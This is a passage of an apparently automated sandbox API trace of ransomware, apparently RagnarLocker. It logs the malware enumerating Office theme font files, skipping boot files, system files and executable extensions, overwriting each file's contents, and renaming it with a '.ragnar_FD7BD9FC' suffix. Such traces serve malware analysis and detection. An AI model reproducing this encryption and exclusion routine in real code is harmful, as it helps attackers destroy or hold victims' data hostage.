(lpString1="Adjacency.xml", lpString2="autorun.inf") returned -1 [0094.250] lstrcmpiW (lpString1="Adjacency.xml", lpString2="boot.ini") returned -1 [0094.250] lstrcmpiW (lpString1="Adjacency.xml", lpString2="bootfont.bin") returned -1 [0094.250] lstrcmpiW (lpString1="Adjacency.xml", lpString2="bootsect.bak") returned -1 [0094.250] lstrcmpiW (lpString1="Adjacency.xml", lpString2="bootmgr") returned -1 [0094.250] lstrcmpiW (lpString1="Adjacency.xml", lpString2="bootmgr.efi") returned -1 [0094.250] lstrcmpiW (lpString1="Adjacency.xml", lpString2="bootmgfw.efi") returned -1 [0094.250] lstrcmpiW (lpString1="Adjacency.xml", lpString2="desktop.ini") returned -1 [0094.250] lstrcmpiW (lpString1="Adjacency.xml", lpString2="iconcache.db") returned -1 [0094.250] lstrcmpiW (lpString1="Adjacency.xml", lpString2="ntldr") returned -1 [0094.250] lstrcmpiW (lpString1="Adjacency.xml", lpString2="ntuser.dat") returned -1 [0094.250] lstrcmpiW (lpString1="Adjacency.xml", lpString2="ntuser.dat.log") returned -1 [0094.250] lstrcmpiW (lpString1="Adjacency.xml", lpString2="ntuser.ini") returned -1 [0094.250] lstrcmpiW (lpString1="Adjacency.xml", lpString2="thumbs.db") returned -1 [0094.250] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.250] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.250] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.251] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.251] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.251] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.251] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\adjacency.xml")) returned 0x20 [0094.251] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\adjacency.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.252] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3609) returned 1 [0094.252] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.252] GetProcessHeap () returned 0x580000 [0094.252] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.252] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.253] VirtualAlloc (lpAddress=0x0, dwSize=0xe19, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.253] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.253] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.253] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe19, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe19, lpOverlapped=0x0) returned 1 [0094.253] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.254] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe19, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.254] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe19, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe19, lpOverlapped=0x0) returned 1 [0094.254] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe19, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.254] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.254] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe19, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.254] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.254] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.254] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.254] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.254] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.254] GetProcessHeap () returned 0x580000 [0094.254] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.254] CloseHandle (hObject=0x10c) returned 1 [0094.255] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml" [0094.255] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml.ragnar_FD7BD9FC" [0094.255] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\adjacency.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Adjacency.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\adjacency.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.255] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd8000, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfd8000, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.xml", cAlternateFileName="")) returned 1 [0094.255] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.256] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Angles.xml" | out: lpString1="Angles.xml") returned="Angles.xml" [0094.256] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml") returned=".xml" [0094.256] lstrcmpiW (lpString1="Angles.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.256] lstrcmpiW (lpString1="Angles.xml", lpString2="autorun.inf") returned -1 [0094.256] lstrcmpiW (lpString1="Angles.xml", lpString2="boot.ini") returned -1 [0094.256] lstrcmpiW (lpString1="Angles.xml", lpString2="bootfont.bin") returned -1 [0094.256] lstrcmpiW (lpString1="Angles.xml", lpString2="bootsect.bak") returned -1 [0094.256] lstrcmpiW (lpString1="Angles.xml", lpString2="bootmgr") returned -1 [0094.256] lstrcmpiW (lpString1="Angles.xml", lpString2="bootmgr.efi") returned -1 [0094.256] lstrcmpiW (lpString1="Angles.xml", lpString2="bootmgfw.efi") returned -1 [0094.256] lstrcmpiW (lpString1="Angles.xml", lpString2="desktop.ini") returned -1 [0094.256] lstrcmpiW (lpString1="Angles.xml", lpString2="iconcache.db") returned -1 [0094.256] lstrcmpiW (lpString1="Angles.xml", lpString2="ntldr") returned -1 [0094.256] lstrcmpiW (lpString1="Angles.xml", lpString2="ntuser.dat") returned -1 [0094.256] lstrcmpiW (lpString1="Angles.xml", lpString2="ntuser.dat.log") returned -1 [0094.256] lstrcmpiW (lpString1="Angles.xml", lpString2="ntuser.ini") returned -1 [0094.256] lstrcmpiW (lpString1="Angles.xml", lpString2="thumbs.db") returned -1 [0094.256] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.256] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.256] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.256] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.256] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.256] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.256] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\angles.xml")) returned 0x20 [0094.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\angles.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.257] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3626) returned 1 [0094.257] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe21, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.257] GetProcessHeap () returned 0x580000 [0094.257] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.257] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.258] VirtualAlloc (lpAddress=0x0, dwSize=0xe2a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.258] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.258] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.258] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe2a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe2a, lpOverlapped=0x0) returned 1 [0094.259] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.259] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe2a, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.259] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe2a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe2a, lpOverlapped=0x0) returned 1 [0094.259] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe2a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.259] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.259] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe2a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.259] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.259] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.259] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.259] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.260] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.260] GetProcessHeap () returned 0x580000 [0094.260] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.260] CloseHandle (hObject=0x10c) returned 1 [0094.260] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml" [0094.260] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml.ragnar_FD7BD9FC" [0094.260] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\angles.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Angles.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\angles.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.260] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb6b6700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb6b6700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeee, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.xml", cAlternateFileName="")) returned 1 [0094.260] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.261] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Apex.xml" | out: lpString1="Apex.xml") returned="Apex.xml" [0094.261] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml") returned=".xml" [0094.261] lstrcmpiW (lpString1="Apex.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.261] lstrcmpiW (lpString1="Apex.xml", lpString2="autorun.inf") returned -1 [0094.261] lstrcmpiW (lpString1="Apex.xml", lpString2="boot.ini") returned -1 [0094.261] lstrcmpiW (lpString1="Apex.xml", lpString2="bootfont.bin") returned -1 [0094.261] lstrcmpiW (lpString1="Apex.xml", lpString2="bootsect.bak") returned -1 [0094.261] lstrcmpiW (lpString1="Apex.xml", lpString2="bootmgr") returned -1 [0094.261] lstrcmpiW (lpString1="Apex.xml", lpString2="bootmgr.efi") returned -1 [0094.261] lstrcmpiW (lpString1="Apex.xml", lpString2="bootmgfw.efi") returned -1 [0094.261] lstrcmpiW (lpString1="Apex.xml", lpString2="desktop.ini") returned -1 [0094.261] lstrcmpiW (lpString1="Apex.xml", lpString2="iconcache.db") returned -1 [0094.261] lstrcmpiW (lpString1="Apex.xml", lpString2="ntldr") returned -1 [0094.261] lstrcmpiW (lpString1="Apex.xml", lpString2="ntuser.dat") returned -1 [0094.261] lstrcmpiW (lpString1="Apex.xml", lpString2="ntuser.dat.log") returned -1 [0094.261] lstrcmpiW (lpString1="Apex.xml", lpString2="ntuser.ini") returned -1 [0094.261] lstrcmpiW (lpString1="Apex.xml", lpString2="thumbs.db") returned -1 [0094.261] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.261] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.261] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.261] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.261] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.261] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.261] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apex.xml")) returned 0x20 [0094.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apex.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.262] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3822) returned 1 [0094.262] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xee5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.262] GetProcessHeap () returned 0x580000 [0094.262] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.262] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.263] VirtualAlloc (lpAddress=0x0, dwSize=0xeee, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.263] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.263] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.264] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xeee, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xeee, lpOverlapped=0x0) returned 1 [0094.264] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.264] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xeee, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.264] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xeee, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xeee, lpOverlapped=0x0) returned 1 [0094.264] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xeee, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.264] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.264] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xeee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.264] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.264] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.264] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.264] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.265] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.265] GetProcessHeap () returned 0x580000 [0094.265] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.265] CloseHandle (hObject=0x10c) returned 1 [0094.265] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml" [0094.265] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml.ragnar_FD7BD9FC" [0094.265] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apex.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apex.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apex.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.266] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe09100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe09100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.xml", cAlternateFileName="APOTHE~1.XML")) returned 1 [0094.266] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.266] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Apothecary.xml" | out: lpString1="Apothecary.xml") returned="Apothecary.xml" [0094.266] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml") returned=".xml" [0094.266] lstrcmpiW (lpString1="Apothecary.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.266] lstrcmpiW (lpString1="Apothecary.xml", lpString2="autorun.inf") returned -1 [0094.266] lstrcmpiW (lpString1="Apothecary.xml", lpString2="boot.ini") returned -1 [0094.266] lstrcmpiW (lpString1="Apothecary.xml", lpString2="bootfont.bin") returned -1 [0094.266] lstrcmpiW (lpString1="Apothecary.xml", lpString2="bootsect.bak") returned -1 [0094.266] lstrcmpiW (lpString1="Apothecary.xml", lpString2="bootmgr") returned -1 [0094.266] lstrcmpiW (lpString1="Apothecary.xml", lpString2="bootmgr.efi") returned -1 [0094.266] lstrcmpiW (lpString1="Apothecary.xml", lpString2="bootmgfw.efi") returned -1 [0094.266] lstrcmpiW (lpString1="Apothecary.xml", lpString2="desktop.ini") returned -1 [0094.266] lstrcmpiW (lpString1="Apothecary.xml", lpString2="iconcache.db") returned -1 [0094.266] lstrcmpiW (lpString1="Apothecary.xml", lpString2="ntldr") returned -1 [0094.266] lstrcmpiW (lpString1="Apothecary.xml", lpString2="ntuser.dat") returned -1 [0094.266] lstrcmpiW (lpString1="Apothecary.xml", lpString2="ntuser.dat.log") returned -1 [0094.266] lstrcmpiW (lpString1="Apothecary.xml", lpString2="ntuser.ini") returned -1 [0094.266] lstrcmpiW 